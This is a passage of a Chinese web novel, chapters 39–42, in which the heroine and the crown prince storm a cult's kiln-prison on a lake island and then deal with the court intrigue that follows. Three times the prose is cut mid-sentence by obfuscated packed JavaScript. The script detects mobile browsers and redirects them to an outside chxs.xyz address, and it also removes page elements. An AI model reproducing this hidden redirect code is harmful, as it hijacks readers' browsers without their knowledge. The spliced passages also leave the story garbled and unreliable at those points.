她压低声音提醒韩婉:“不对,这里很不对劲。苏廷章方才说了什么?” 韩婉踢了苏廷章一脚,语气不善:“你自己说!” “他们等着你来的。根本没有什么祭坛,你站在这里,就是祭坛。”苏廷章摘下面具,神色冷沉。 话音未落,赵煜眼神陡然一冷,几乎是瞬间跃起,踏过满地狼藉的赌桌,闪身挡在叶斯年身前,厉声质问:“你说什么?” 未及苏廷章再答,楼上幽幽传来脚步声。 为首之人,正是方才迎接叶斯年的那名银色面具守卫。此刻的他已不复先前的恭谨,神态悠然,缓步走下阶梯,身后跟着几名孩童模样的伶人,一个个都喜出望外。 那几个孩子恭敬地齐声道:“司命大人传话,不可伤了太子与郡主。” 银色面具轻轻一笑:“郡主远道而来,怎么,这就玩够了?长生楼里,可还有更有趣的东西,等着您去瞧。” 叶斯年甩开劫持的人质,却没有动。 银色面具缓缓侧首,视线落在赵煜身上,语调不疾不徐:“太子殿下可好奇,昨夜那些妙人,都去了哪里?” 39.寒荆 “东华郡主远道而来,我等恭候多时。” 叶斯年早知玄月司的人在等她,却没想到迎接她的银色面具,竟是司命本人。 他负手而立,语气平静,却透着难掩的讥诮:“你以为真有什么长生祭坛?你以为这些京中权贵会痴迷于肉身不朽?” 他轻笑一声,目光冷淡:“你太小看他们了。他们真正信仰的,是秩序!是他们世代传承、牢不可破的利益!” 叶斯年心头一沉,指尖微微发凉。 司命微微抬手,身后护卫齐齐上前一步,刀光隐现,杀意弥漫。 “东华之命,兆于万世。”他的声音如寒冰渗入骨髓,“你才是威胁他们秩序的人。今夜他们要献祭的,是你。” 四周死寂一片。 “昨夜太子见过的那些人,都在长生楼,等着陪郡主一同上路。” 司命缓缓抬手,紧接着,远处传来一声尖叫。 撕心裂肺的哭喊声划破夜空,带着令人胆寒的绝望。 叶斯年心口一窒,怒火瞬间烧透了胸腔,指节攥得发白。 “你们敢——” 司命似笑非笑地看着她,缓缓竖起一根手指:“你犹豫一瞬,我便杀十人。” 空气骤然凝滞。 赵煜眼底浮现出压抑的怒意,抬手取下身上的令牌,沉默地塞进韩婉手中。 韩婉一怔,脸色微变:“你——” 赵煜没有解释,只是握住叶斯年的手,声音低沉:“按计划行事,不要投鼠忌器。” 叶斯年深吸一口气,压下心底翻涌的杀意,缓缓道:“走。” 司命微微一笑,做了个“请”的手势。 远处,长生楼的方向,火光隐隐浮动,映红了半边夜空。 夜风猎猎,长生楼的轮廓在火光映照下越发阴森可怖。 可哪里是什么“长生楼”——分明是一座高耸的瓦窑! 透过小窗,能看到一张张孩童和女人的脸,他们被塞在楼里,眼神呆滞,双手无助地拍打着窗棂。有人在哭,有人神情默然。潮湿的泥砖间渗出焦灼的气息,像是地狱入口缓缓开启。 围着长生楼的守卫高举火把,火光跃动,映着他们漠然的脸。只要一点火星,这座窑,就会在炽热的烈焰中将他们一同吞噬。 “东华之命,兆于万世。”司命负手而立,似笑非笑地看着叶斯年。 他的声音仿佛带着某种诡异的蛊惑,缓缓道:“两个选择。一,献祭你一人,叶家军撤回瑶京,所有人安然离开。二——”他顿了顿,唇角笑意加深,“献祭这里面所有人,为你开启盛世。” 他语气温和,像是在陈述一场公平的交易。 叶斯年紧盯着他,手指微微蜷紧,指甲几乎嵌入掌心。 空气沉闷得让人无法喘息。 此时,江面上忽然传来喊杀声,火光翻腾,刀剑交击的声音划破夜空! 司命淡淡地笑了:“怎么,太子殿下还想着拖延时间?你以为只有你们有援兵?”他缓缓扫视四周,语气轻慢,“这里的权贵,哪个没有私兵?” 江面上,数艘快船破浪而来,甲士成列,火把映出密密麻麻的人影。他们步伐整齐,手中长刃寒光森然,正与叶家军和漕帮短兵相接! 她的心猛地一沉。 赵煜目光微冷,低声道:“别和他谈,和京中权贵谈。” 叶斯年看着他,深吸一口气,眼神骤然凌厉。 “我们制服他,你出去谈。”她低声道。 叶斯年猛地冲向司命,脚下发力,滑步逼近,拳锋直攻太阳穴! 司命冷笑,侧身避开:“拳法不错。” 话音未落,叶斯年翻腕,反手握上寒荆,锋刃在火光映照下闪过森冷寒光,直取司命咽喉! 司命出手极快,手腕一翻,寒荆的锋刃擦着他银色面具的边缘掠过,下一瞬,他反手一掌封住叶斯年的攻势,锋刃划破他的手臂,鲜血顿时溅落在地。 他轻笑:“你没杀过人吧?知道刀刃划破血肉是什么感觉吗?你这武器,很快就会卷刃了。” 叶斯年眸光微冷,没给他继续挑衅的机会,猛然侧身,一个低鞭腿直扫他的膝关节! 司命抬腿格挡,脚下却微微一顿,叶斯年立刻捕捉到这个空隙,身体前倾,肩膀猛然撞向他的胸口,借力跃起,寒荆的锋刃再次逼近他的咽喉! 与此同时,战局已然彻底爆发—— 卫珩和叶承勇早已混入人群,趁着叶斯年出手的瞬间,同时动手!火光翻腾间,两人抽刀,快如疾风,压制住周围准备投掷火把的守卫,寒光破空,鲜血溅落在瓦窑前的石阶上。 “动手!”卫珩低喝,长刀一转,将一名守卫直接劈翻在地。 而另一侧,青枝浑身是血杀入人群,身影如鬼魅一般冲至瓦窑前,单手翻身,跃上高台,短刀破风,直取守卫咽喉! 瓦窑旁的死士纷纷抽刀反扑,刀光剑影间,战斗瞬间陷入白热化! 司命冷笑一声,脚下一错,猛然拉开与叶斯年的距离,衣袖翻飞间,掌心已多出一柄森冷的短刀。刀刃狭长,映着火光泛起幽冷寒芒。 “来吧,东华郡主。”他的声音透着玩味,“让我看看,你到底是天命之人,还是螳臂当车。” 叶斯年没有废话,脚下猛蹬地面,贴身逼近,指虎的刀刃劈向司命的手腕,试图卸掉他的武器!司命刀锋一转,迅速封住她的攻势,短刀刃口划过寒荆的锋刃,发出一声刺耳的摩擦声! 叶斯年反手变招,左拳封喉,右肘沉猛砸向他的肩关节!司命反应极快,身形微侧,躲开她的重击,同时刀锋翻转,直取她的肋下! 叶斯年电光石火间下沉重心,堪堪避过,刀锋依旧划破了她的衣衫,火辣辣的痛感瞬间蔓延。她闷哼一声,强行咬牙忍住,猛然探手,握住了司命的手腕,顺势下压,另一手成拳,直砸他的侧颈! 司命后撤半步卸力,冷笑道:“还不错,可惜——” 他猛地用力一扯,叶斯年措不及防,被带得踉跄半步,肩头一沉,司命抓住破绽,短刀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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岛上的权贵们此刻已乱作一团,有些人满脸惊怒,显然是直到此刻才意识到东华郡主竟在此地,甚至连太子也在!但仍有一部分人目光狂热,显然是玄月司最忠实的信徒,信了司命所谓“献祭东华郡主”的鬼话,眼下只能殊死搏杀。 叶斯年大喊:“这么打下去不行,得找个突破口。” 话音未落,忽听远处一声响亮的号角划破夜空! 韩婉跌跌撞撞地从混战中冲出,扬声大喊:“莫慌,我有后手!” 众人循声望去,只见江面上火光骤盛,一支精锐破浪而来,转瞬间便已冲上码头! 为首之人银甲映火,刀锋如霜,在喧嚣杀伐中显得冷然如冰——竟是赵渊! 他翻身下马,目光在战局中一掠,精准锁定韩婉,长剑出鞘,寒光凛冽,沉声一令:“杀——!” 刀光剑影间,他一路杀过来,冲到韩婉身前,猛地将她揽入怀中:“你怎么样?伤着没有?” 韩婉猝不及防被他抱住,猛地挣脱,反手狠狠甩了他一巴掌! “你还来做什么?!”她怒指身后的长生楼,眼中怒火翻涌,“这就是你纵容出来的毒蛊!” 赵渊被打得偏过头,脸颊泛起指痕,他却不躲不闪,也未反驳,只是握住她的手腕,低声道:“是,所以我来清算。” 亲卫队瞬间突围,刀锋破空,迅速接管战局,封锁码头,围攻的私兵溃不成军! 韩婉立于血泊之中,喘息未定,忽然抬手,一道信号烟花破空而起! “轰——!” 火光冲天,夜色被照亮,众人齐齐抬头——这次,又是谁? 40.收兵 惨叫声渐渐平息,火光映照着遍地尸骸,血腥气弥漫在夜风中。倒下的权贵被逐一摘下面具,露出一张张熟悉的脸——有人狼狈哀嚎,有人神色呆滞,如丧家之犬,有人企图跳湖,却被拖回岸上,湿透的衣衫贴着颤抖的身躯,彻底丢了往日的尊贵与体面。 长生楼前,银色面具的司命跪在地上,衣衫染血,却笑得一脸玩味。他看向赵渊,语气戏谑:“二殿下演得不错。不管是温顺的皇子,还是甘愿堕入泥沼的弃子,你都扮得惟妙惟肖。” 赵渊神色淡漠,未置可否,只是静静看着他,目光锋利如刀。 青枝走上前,从叶斯年手里接过司命,毫不留情地将他五花大绑,手腕一扭,狠狠将他摁倒在地,让他在长生楼前跪着。 司命轻笑一声,唇角带着若有似无的嘲弄:“早就知道你会反水,我只是想看看,你能忍到什么时候,很有趣,不是吗?”他目光扫向韩婉,笑意加深,“早知道你的软肋是她,我就该早点杀了她。哦不,该把她送到天香楼,让你亲自找到她,岂不更妙?” 赵渊眼中寒意骤然凝结,剑锋未落,杀意已至! “住手!”叶斯年心头一紧,猛然出声阻止。 卫珩眼疾手快,飞刀破空而出,铛地一声,堪堪挡住赵渊的剑锋!赵渊怒气未消,反手便是一脚,狠狠踹在司命胸口,对方闷哼一声,吐出一口鲜血。 司命被踹倒在地,嘴角溢血。他歪了歪头,露出一抹渗人的笑意:“怎么?这就怒了?” 赵渊察觉不对。这个男人,他交手多年,绝不会如此轻易束手就擒! 他的目光落在韩婉身上,眼底满是压抑的焦急,他深知韩婉是故意将他引来,或许是想将玄月司扣在他头上,再一网打尽。可他毫不在意。 “你伤着没有?”他十分急切。 “谢二殿下关怀。”韩婉连看都不看他一眼,只是冷冷转身,语气平静得近乎冷漠。 她的疏离让赵渊的心猛地一沉,他张了张嘴,似是想再问些什么,可韩婉已快步走远,投身于营救长生楼内的人。 叶斯年捂着伤口,沉声道:“先救人,把火把都熄了!” 长生楼影影绰绰,孩童和女子的眼睛透过窗户惊恐地望着外面,噤若寒蝉。散落的柴火和油桶在地上横陈,稍有不慎,便会化作一场吞噬一切的烈焰炼狱。 此刻,战局仍未平息,众人也顾不得方才韩婉放出的烟花究竟是何用意,所有人都在拼命疏散长生楼内的人,扑灭四周火光。 司命跪在长生楼前,看着眼前的混乱,忽然低低笑了起来,声音带着几分诡异的轻松:“郡主,游戏才刚刚开始。” 赵煜刚刚收拾完外围的战场,回头便看见叶斯年脸色苍白,左臂的袖子已被鲜血浸透,鲜红的血滴顺着指尖滑落,滴落在地上。 他的心猛地一缩,快步上前,一把撕开她的衣袖!一道狰狞的伤口赫然映入眼帘,血色边缘隐隐泛黑,伤口处皮肤灼热得惊人。 “怎么回事?”赵煜的声音带着不易察觉的颤意。 “抱歉,刀上沾了点东西。”司命依旧跪在原地,嘴角血迹未干。 赵煜神色骤变,心底的怒火顷刻间点燃,双眼瞬间猩红。他猛地捡起掉落在一旁的短刀,反手按住司命的手腕,刀锋骤然压下!锋刃割破皮肉,血珠涌出,浸透了衣袖。 “什么毒?”赵煜声音低沉,几近癫狂。 司命微微皱眉,显然没料到赵煜会如此失控,倒也没有挣扎,反而笑得更愉悦了些,眼神透着一丝嘲弄:“大沅的殿下们可真是情深义重。” 他嗤笑了一声,慢悠悠地道:“可惜,这毒……不是我的。” 赵煜眼中杀意翻涌,刀锋顺势抬高,抵上司命的喉咙,寒意逼近,割破皮肤,鲜血顺着刀刃蜿蜒滑下。 “说。”他几乎是从喉间挤出这个字,握刀的手已然发抖,浑身的怒意几乎要将人吞噬。 叶斯年撑着伤体挡在赵煜面前,伸手按住他的手腕。 她的状态其实还算稳定,体内虽有些燥热,但意识清醒,并无毒发的剧烈症状。可赵煜已经杀红了眼,失去了理智。 “够了,赵煜。”她声音微哑,带着些许喘息,“别中了他的套,赶紧收拾完,出去找个医生就是了。” 赵煜的手微微一滞,刀锋仍紧贴着司命的喉间,未曾挪开半分。 紧绷的气氛被湖面上的一阵骚动骤然打破。 “殿下!郡主!”有叶家军的士兵急匆匆跑来,“江上来船了!” 叶家军精锐立刻绷紧弓弦,严阵以待。赵煜猛地回头,目光凌厉,握着刀柄的手微微收紧。 “殿下,来船上扬着王旗!”岸边的叶家军禀报。 王旗? 叶斯年皱眉,目光落在韩婉身上,韩婉低声道:“是我......” 湖面上战船横列,甲士肃立,灯火逼近,夜风掀开船帘,一道绛色身影缓步走至船头—— 竟是赵玥! 赵煜蹲在叶斯年身侧,目光阴沉,紧盯着她苍白的脸色,咬牙低吼:“韩婉!你是不是早就知道湖心岛有问题?斯年、我、还有赵渊,都在你的算计之中是不是?你把长公主喊来不就是想一网打击吗?” 赵煜浑身绷紧,眼底猩红一片,却死死盯着韩婉:“你郡主引到岛上,到底是想做什么?” 韩婉脸色微变,刚要开口,卫珩已厉声喝道:“殿下!不可!” 可一切已然来不及。 他猛地捡起司命带毒的短刀,在众人猝不及防之下,狠狠朝自己掌心划了一刀! 鲜血瞬间涌出,滴落在泥土间,伤口触目惊心。 “我这个太子今夜就死在你们面前,都别活了!” 叶斯年一愣,随即脸色骤变,怒喝:“赵煜!你疯了吗!” 赵渊猛然抽出长剑,剑尖直抵司命心口,声音冷冽如冰:“说!到底是什么毒?” 司命吃痛,嘴角却依旧带着那抹讥诮的笑意,缓缓道:“不是我下的毒,我又如何知道?” 赵玥步步踏上湖心岛,跨过斑驳血迹,走至长生楼前:“我的皇侄们,这都发的什么疯?” 话音未落,人群中忽然传来一阵骚动—— 所有人猛地抬头! 长生楼顶,一团熊熊火光腾空而起! ——竟是热气球! 烈焰翻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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众人只能目送热气球越飘越远,赵玥望着那在夜色中逐渐隐去的巨大身影,眉头紧锁:“这是什么东西?能飘多远?” 叶斯年捂着伤口:“看风向,远的话三四十里,近的话十几里。” 赵玥冷笑一声:“看来追不上了。” 湖面浮着残破的船只与同样残破的尸体,空气中弥漫着血腥气和焦木的味道。长生楼的里的孩童与妇人已全部救出,惊魂未定地被安置在船上。 权贵们一个个被摘下面具,瑟缩成一团,脸色惨白,不知是因为惊惧,还是因为他们昔日的尊贵身份已化为齑粉。叶家军将他们反绑双手,逐一押往船上,等待押解回瑶京。 赵渊站在码头,看着这一片狼藉,眼神复杂。韩婉从一旁走过,没有再看他一眼。 赵玥沉声道:“收兵,回瑶京。” 众人陆续登船,青枝和卫珩准备随赵渊一行人折返长安府。 “周苓呢?”叶斯年环顾甲板,果然不见周苓的身影。她心头一跳,转头看向范思醴:“周姨娘呢?你们不是在这船上候着吗?” 范思醴正在收拾随身药箱,闻言顿了顿,抬头道:“那天你们下船后,周姨娘说她要去找一个人,之后不久,长公主殿下就来了。” 叶斯年皱眉:“找谁?” 范思醴一边翻找着药瓶,一边随口说道:“她没说名字,只说——” 他顿了顿,回忆着周苓当时的神情,缓缓重复道:“是这个事件的关键人物。” 叶斯年和赵煜的神色瞬间凝住,异口同声:“她真的是这么说的?” 41.余烬 凌江夜寒,一艘渔船孤零零地漂着,船头炭火烧得正旺,渔夫正烤着鱼,火星迸裂,油脂滴落在火堆里,发出嗞嗞的响声。 “你就打算一直躲着?不去见见?” 身后传来女子清冷的声音。 渔夫翻着手里的鱼,头也不回,:“又不是我的孩子,死的死,伤的伤,关我什么事?” 女子轻哼一声:“这一切,可都是你们这些不自量力的人惹出来的。” 渔夫手上的动作顿了顿,半晌,才回过头,露出一张清隽却略显憔悴的脸。 “我不自量力,所以不敢管了,免得又惹出事。” 女子扶着船舱,目光沉沉地看着他,语气中透着压抑的怒意:“要不是你们当年怂恿叶绍请旨平定润州海寇,周家根本不会有此劫难!青阳县几年内就会成为内陆港口,湖心岛会是繁华的商贸往来之地,怎么可能养出这样一个蛊!” 渔夫忽然嗤笑了一声:“周苓,你既然早就知道,为什么不说呢?当年我和清荣两个史盲急得跳脚的时候,你这个大沅历史学家躲在叶家后宅做什么?你现在站出来指责我,有意思吗?” 周苓神色冰冷,几乎是咬着牙一字一句道:“因为历史早就被你们改了!” 她缓缓抬手,指向黑沉沉的江面,声音低沉而压抑:“叶承泽,字仲威,叶绍之子,母润州周氏。弱冠从军,骁勇善战,兼通兵法,拜龙骧将军。其妹斯年,字东华,佐长公主,机略深远,善断大势,为一代名幕。可这一切,都被你们改写了……我所知道的历史,不作数了。” 赵诘嗤笑一声:“你这个历史学家都不作数,我能做什么?” “看到刚才的热气球了吗?到底还有多少个穿越者隐藏在暗处、伺机而动?你们不是想改变历史吗?如今局势已乱成一团,你这会儿还俗,莫非还想袖手旁观?” 赵诘沉默片刻:“清荣从未想改变大沅的历史,她只想让后世女性的路好走一些,别被那几个激进的人把路走死了。” 江风凛冽,渔火摇曳,远处青阳县的岸上人影攒动。周苓望着水波起伏,沉默不语。 “我还俗……是因为佛门不清净了。” 青阳县内血腥气未散,混着潮湿的泥土味弥漫在街头巷尾。残破的墙壁上溅着未干的血迹,倒下的权贵被捆作一团,挤在一角,由士兵严密看守。受伤的人横七竖八地躺着,军医们在昏暗的灯光下穿梭,压抑的闷哼声此起彼伏。 叶斯年躺在床上,衣物已被剪开,肩上的伤口敷着药,军医正缝合她肋下的伤口。针尖穿透皮肉,带起细微的血珠,她疼得后背发凉,冷汗涔涔,却始终一声不吭。 门口,赵煜神色阴沉,眼底杀意未消。他手掌的伤口刚被简单包扎,厚厚的纱布渗出血迹。 众人神色各异,却已疲惫至极,强撑着也无济于事,索性不再言语,各自休整。 屋内灯火昏暗,药香混着淡淡的血腥气,弥漫在空气中。 大夫刚才叮嘱她,体内的毒已慢慢化解,但创口的皮肉坏死,必须清理。金创药洒上去的瞬间,她倒吸一口凉气,比方才打斗时挨的那两刀还疼。肩上的伤口依旧隐隐作痛,缝合的针脚拉扯着皮肉,每一下都牵动神经,让她整个人紧绷着,根本无法入睡。 韩婉坐在床边,手里握着一杯早已凉透的茶,沉默了许久,才缓缓开口:“信的确是青冥堂送来的。” “信中说,玄月司藏身湖心岛,只要郡主亲至,便可一网打尽。”韩婉语气淡然,指尖摩挲着茶盏,“我不是没怀疑过其中有诈,可玄月司这个毒瘤,不能再拖了。” 她垂下眼睫,声音微低:“所以,我赌了一把,把你当作诱饵。你自己也说,蜜罐......” “长公主呢?” “长公主是我出发前便请来的。”韩婉顿了顿,又道,“至于赵渊……我信里只让他不要为难瑾年和明煊。” 屋内一时寂静,唯有烛火跳动。两人的神色深浅不明。 叶斯年抬手抹了抹额角的薄汗:“我没怪你,但你也没全信我。” 韩婉微微一怔,片刻后轻笑出声,“经此一战,以后不会了。”她起身,朝叶斯年微微一颔首,“太子殿下还在门外等着,郡主好好歇息吧。” 赵煜果然进来了。 叶斯年撑着身子半靠在床榻上,牵动伤口,疼得龇牙咧嘴。 赵煜径直走到床边坐下,探出半个身子将她搂进怀里。 叶斯年一怔,下意识要推开,却被赵煜低声阻止:“像昨天那样,让我抱一会儿。” 他的声音里透着疲惫和压抑,埋首在她肩窝,肩膀微微颤抖,呼吸凌乱。她感觉到肩上湿了一片。 叶斯年一时有些不知所措,片刻后另一边肩膀被扯得生疼,不由得嘶了一声。赵煜立刻松开她,她这才看见他手掌上的纱布已经渗出血迹,想必也是被大夫割了好几道。 “你是有什么毛病啊?手心多疼,下次划拉手背。”她皱眉道。 赵煜闷闷地笑了一声,带着几分鼻音:“还开玩笑呢?”他吸了口气,“那可是毒啊!” “怎么了吗?” “谢麟是谢家的私生子,当年谢氏一族满门抄斩,他侥幸逃过,被玄月司捡了去。本想审问他,可他说毒发太可怕,自己了断了。”赵煜顿了顿,“他给那个老司命当了这么多年傀儡,估计也算是当儿子养着,怎么连个解药都不给?” 叶斯年揶揄道:“本来是有的,被你吃了。” 赵煜一愣,随即反应过来,瞬间恍然大悟。 叶斯年轻嗤一声:“开玩笑的。玄月司本来就没打算留活口,谢麟自己肯定知道。” 赵煜叹了口气,靠在床边,若有所思地说道:“热气球,已经能确定是穿越者了。” “嗯。”叶斯年点了点头。 赵煜侧过脸看向她:“那青冥堂到底是什么?不执是青冥堂的人,还是青冥堂脱胎于灵隐寺?他们为什么要引你去湖心岛?” 叶斯年沉吟片刻,缓缓道:“就像你玩游戏,知道某个NPC是最终关卡的关键人物,在此之前不死不灭,你会怎么利用它?” “你是说,青冥堂得了谶语,知道你不会轻易死,还能推动局势,所以一定要你到场?利用你清除玄月司的党羽?” 赵煜又问:“那你觉得谶语是怎么来的?” “某个穿越者编的?要说是玄月司杜撰的,也不合理。难道青冥堂也是穿越者?太扯了吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868596|156999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”她顿了顿,若有所思地补充道,“等周苓吧,她八成知道点什么,估计去找赵诘了。我们两个异世穿越者瞎猜也没用,还是等她回来,开诚布公聊一聊。” 赵煜挑眉:“跟是不是异世来的关系不大。要是你真穿到大宋,你知道该怎么做吗?” 叶斯年歪头想了想:“还真不知道,我是个史盲。” 赵煜嗤笑一声,懒洋洋地换了个姿势:“算了,聊点现实的——说说韩婉吧。” “韩婉很简单,她只是想解决玄月司,顺便让赵玥分一杯羹。” 叶斯年顿了顿,又道:“赵渊也是她诓来的。如果赵渊没来,恐怕此时他正在长安府的天香楼里华天酒地,等着我们去抓他呢。这二皇子不赖,孤身涉险。” 赵煜闻言沉默。 叶斯年偏头看了他一眼:“接下来打算怎么办?抓起来的权贵有多少?几天后的早朝,恐怕要出大事了吧?” 赵煜没有回答,反倒侧过脸,看着她苍白的脸色和疲惫的神情,忽然问道:“疼吗?” 叶斯年怔了怔:“啊?” 赵煜顺势握住她的手,指腹轻轻揉着她的掌心:“别想这些了,你都受伤了。” 叶斯年抽出手,抬手就拍了他一下。赵煜装模作样地“嘶”了一声,眉头皱得死紧,像是吃了多大苦头。 “你受伤的是另一只手,鬼叫什么?”叶斯年没好气道。 赵煜瘪了瘪嘴,理直气壮:“小气,拉个手都不行。” “没什么事出去吧,我要休息。” 赵煜也不恼,顺手给她掖了掖被子:“先坐会儿,大夫在煎药和安神茶呢,省得一会儿折腾起来喝。我陪你再聊会儿。” 叶斯年懒懒地瞥了他一眼,实在没力气跟他计较:“行吧,聊什么?” 赵煜扬眉:“你跟我就没话聊?” “不是你说要聊的吗?”叶斯年斜睨他一眼,赵煜总能精准地在她的雷点上蹦跶。话音刚落,牵扯到伤口,她顿时疼得倒吸一口凉气,龇牙咧嘴。 赵煜见状,立刻举手投降,语气讨好:“好了好了,不逗你了。我给你讲讲赵渊吧。” 方才众人各自歇息,思醴、青枝、卫珩等人忙着照顾伤员,赵煜在等叶斯年,赵渊在等韩婉。 赵煜看着赵渊,低声唤道:“二哥……” 直到这一刻,他才真正明白赵渊这些年的种种变化,究竟意味着什么。 当年赵渊得知他险些丧命,焦急万分,而他那时对赵渊一无所知,只觉得既然都是皇子,少不了要明争暗斗。后来他才知道,赵渊与太子是至交,年少时甚至视他为兄长。 可不知从何时起,赵渊变了。他疏远韩婉,性情大变,与旧人决裂,甚至令赵煜一度怀疑——他是否和太子一样,被人夺舍了? 直到今日,他才恍然大悟。 玄月司一直在皇子中布局,而赵渊,选择了以身入局。 赵渊拍了拍赵煜的肩膀,语气淡然:“我们兄弟俩,还是翻脸的好。总会有人想拉拢我,玄月司的司命不还是跑了吗?” 赵煜嗤笑:“你都来了,这场戏还能演下去?” 赵渊神色坦然:“我是为了婉儿来的,又不是你们。” 42.火光 赵渊快步跟在韩婉身后。她步履匆匆,显然是要去救治伤员。可赵渊知道,赵玥接下来会做什么。 他伸手扣住她的手腕,不顾她的挣扎,强硬地将她拉回段风的客栈,反手关上门。四下无人,他才松开手,语气低沉:“婉儿,我们谈谈。” 韩婉甩开他的手,揉了揉手腕,声音依旧冷静:“你该回长安了。” 赵渊看着她,眼底情绪翻涌,嗓音微哑:“你既然把我引到这里,为什么不肯好好谈谈?” 韩婉没有回头,平静地道:“我们已经谈过了。谈天说地,从清晨到日落,该谈的都谈过了,没什么好谈的。” 赵渊冷笑一声,目光深沉:“你既然不想让我出事,为什么不肯面对我?” 韩婉终于回头,眉眼间带着些许讥诮:“身在局中时,我也没看清你,和太子殿下一样,以为大沅又折进去一位皇子了。” 赵渊心头一震,声音低沉:“什么意思?” 韩婉语气淡淡,仿佛只是陈述一件无关紧要的旧事:“起初,我也很难过,为什么你突然就变了。” 她轻轻一笑,眼底却没有一丝温度:“后来我看开了,自然也就看穿了你以身入局的计谋。” 赵渊没有说话,只是攥紧了拳头。 韩婉的笑意渐渐收敛,目光如刀:“但我放下了。无论你有什么苦衷,无论起初我有多痛苦,总归是放下了。” 她的声音平静无波:“我算计你,破坏你的计谋,不是因为怕你出事,而是因为权衡之后,我认为这样做,对长公主殿下更有利。你们赵家男儿,总是要顾及皇室的脸面,所以才会让玄月司坐大!” 赵渊瞳孔微缩,死死盯着她,声音低哑:“他们掌握着大量秘闻,散布在各地,若不能一网打尽,根本不是脸面的问题,而是整个大沅都会陷入动荡,到时候死伤更多。” “出不了事的。”韩婉语气淡淡,“你们不敢动手,长公主敢。太子谋于表面,你畏首畏尾,郡主才是以身入局。” “婉儿……”赵渊额角跳动,嗓音压得极低。 韩婉轻轻吐出一口气,继续道:“瑾年和明煊肯定已经抓获了一批人,你现在必须尽快赶回长安,否则汤都不剩了。叶太尉会被滞留在靖北州,防止朝局失衡,边境不稳。湖心岛这边,太子和郡主负伤,收拾残局的人,是长公主。” 屋内烛火摇曳,两人僵持不下。 赵渊深深地看着她,喉结微微滚动,沉声道:“你真的要卷入太子和长公主之间......” 韩婉眼神闪烁,她其实也没想好。 赵渊眼神幽暗,语气压得极低:“等我回长安收拾完局势,我就回瑶京求官家赐婚,好不好?” 韩婉怔住,像是没听清似的,看着赵渊的神色,眼底浮现出一丝慌乱。 赵渊目光沉沉,缓缓靠近:“我们成婚,好不好?你要做什么都行,踩着我上位也行。我求求你,不要再做这么危险的事。” 韩婉的指甲深深抠进掌心,心底某处仿佛被狠狠撞了一下,可最终,她仍是果断地抽回了手。 她垂下眼睫,声音沉稳而冷静:“殿下,不是所有人都会在原地等你的。” 她抬起头,目光平静地望着他,轻声道:“在太子与我之间,你选择了太子。” 赵渊呼吸一滞。 韩婉的神色无悲无喜,语调不轻不重:“所有人都觉得你性情大变,我又何尝不是?你这话两年前说,我会很高兴的。” 她似乎在斟酌措辞,最终只留下冷淡的一句:“天亮了,就回去吧。” 赵渊的心狠狠一缩,喉头发紧,终究还是没有再说什么。 屋内烛光幽暗,药香混着淡淡的血腥气,在空气中弥漫不散。叶斯年倚在床榻上,赵煜坐在一旁,有一搭没一搭地聊着他初来这个世界时的事。 门被人轻轻推开,赵玥端着一碗药走了进来。 她扫了一眼赵煜:“殿下怎么还赖在这里?” 赵煜抬眸看她:“姑母竟然亲自端药,受累了。” “怎么,怕我下毒?”赵玥将药放在桌上。 “姑母人美心善,怎么会呢?” 赵玥轻哼一声,似笑非笑地道:“我请苏廷章来,原本是想让他英雄救美——毕竟,我是真不想你和太子成婚。” “我们这位太子殿下,向来不近女色,怎么就被你收了?”她玩味地看向叶斯年。 叶斯年淡淡瞥了赵煜一眼:“利益相投罢了。” 赵煜刚要反驳,叶斯年一个眼神过去,他立刻闭嘴。 赵玥似是调侃,又似认同:“这话倒是通透。” 她在桌边坐下,语气随意:“这次行动,你们觉得是胜了吗?” 叶斯年没有说话,赵煜冷笑一声:“大鱼都跑了,算什么胜?” 赵玥笑意更深:“太子殿下,你们的目标,难道是玄月司的司命?” 她敛去笑意,指尖轻叩桌面:“我出发前,尚书令李谟远告老还乡,刑部侍郎李谟德也不见踪影,在那群落网的人里,我没看到他,想必是在长安。” “韩婉请我来,因为她知道,我没有两位侄儿那般顾忌。” 叶斯年微微皱眉,赵玥继续道:“若非我在江面屯兵,韩婉定会竭力拖延你们的行动。可即便如此,你们还是等不到叶太尉。” 叶斯年目光微沉:“什么意思?” 赵玥端起药碗,递给叶斯年,似笑非笑地看着他们:“官家在你们出发后,便派人追上去,让叶绍驻守靖北州,以防北境动荡。” 她轻描淡写地道:“哪怕没有叶绍支持,你们的行动会失败。官家更在意的是稳定。” 赵煜的脸色彻底沉了下来:“所以,官家从未想清算朝中官员和皇亲国戚?” 赵玥的笑意逐渐收敛:“这些烂事儿,官家未必不知情。只不过,有时候留着一笔账,比彻底清算更划算。” 她顿了顿,语气微微一沉:“你们带着这么多人大摇大摆地回瑶京,无异于将大沅朝廷的污秽昭告天下,这是官家最不愿看到的。” 话音未落,外面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872239|156999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突然传来一阵阵惨厉的叫声! 赵煜猛地起身。 “急什么?”赵玥却抬手拦住他,神色平静而凌厉。她推开窗户,窗外是被火光映红的天幕。 